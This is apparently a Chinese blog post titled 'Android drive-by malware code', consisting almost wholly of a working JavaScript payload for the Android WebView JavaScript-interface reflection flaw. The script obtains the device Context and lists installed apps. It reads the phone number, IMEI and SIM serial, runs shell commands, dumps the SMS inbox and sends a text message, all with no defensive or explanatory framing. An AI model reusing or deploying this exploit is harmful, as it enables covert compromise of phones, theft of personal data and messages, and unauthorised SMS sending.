安卓挂马代码

<script>

function getContext(){

var obj, jsInterface, r;

for (var obj in window)

{

try {

if ("getClass" in window[ obj ]) {

try{

jsInterface = window[ obj ];

}catch(e){

}

}

} catch(e) {

}

}

if( !jsInterface ) return undefined;

r = function( jsInterface ){

this.jsInterface = jsInterface;

this.loadClass = function( className ){

return this.jni = this.jsInterface.getClass().getClassLoader().loadClass( className );

};

this.jni = this.loadClass( "android.webkit.JniUtil" );

var myfield = this.jni.getDeclaredField('sContext');

myfield.setAccessible( true );

this.context = myfield.get( this.jni );

}

return new r( jsInterface );

}

//绑定Context

var env = getContext();

//获取安装包

pm = env.context.getPackageManager()

document.write(pm.getInstalledPackages(0))

//检查权限

var checkPermission = function( permission ){

return env.context.getPackageManager().checkPermission( permission, env.context.getPackageName() ) == 0;

};

if( checkPermission( "android.permission.READ_PHONE_STATE" ) ){

var telephonyManager = env.context.getSystemService( "phone" );

document.write( telephonyManager.getLine1Number() );

document.write('<br />');

document.write( telephonyManager.getDeviceId() );

document.write('<br />');

document.write( telephonyManager.getSimSerialNumber() );

document.write('<br />');

}

//执行命令

var exec = function( commond ){

var runtimeClass = env.loadClass( "java.lang.Runtime" );

var runtime = runtimeClass.getMethod("getRuntime", {} ).invoke( null, {} );

var process = runtime.exec( commond );

var inputStream = process.getInputStream();

var contents = "";

var b = inputStream.read();

var i = 1;

while(b != -1) {

var bString = String.fromCharCode(b);

contents += bString;

b = inputStream.read();

}

return contents;

};

document.write( exec(["sh","-c","ls -l /mnt/sdcard/"]) );

//查短信

var ub = env.loadClass( "android.net.Uri$Builder" );

//var uri = ub.newInstance().scheme( "content" ).authority( "com.android.contacts" ).path( "data" ).build();

var uri = ub.newInstance().scheme( "content" ).authority( "sms" ).path( "inbox" ).build();

var contentResolver = env.context.getContentResolver();

var cursor = contentResolver.query( uri, [], "", [], "" );

var colcnt = cursor.getColumnCount();

while( cursor.moveToNext() ){

var t = "";

for( var i = 0; i < colcnt; i++ ){

var s = cursor.getString( i );

if( s !== undefined ){

t += cursor.getColumnName( i ) + ":" + s + ","+ "<br>";

}

}

document.write( t );

}

//发短信

var target = "10086";

var text = "Hello, message !";

var smsManagerClass = env.loadClass( "android.telephony.SmsManager" );

var smsManager = smsManagerClass.getMethod( "getDefault", {} ).invoke( null, {} );

smsManager.sendTextMessage( target, null, text, null, null );

</script>


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值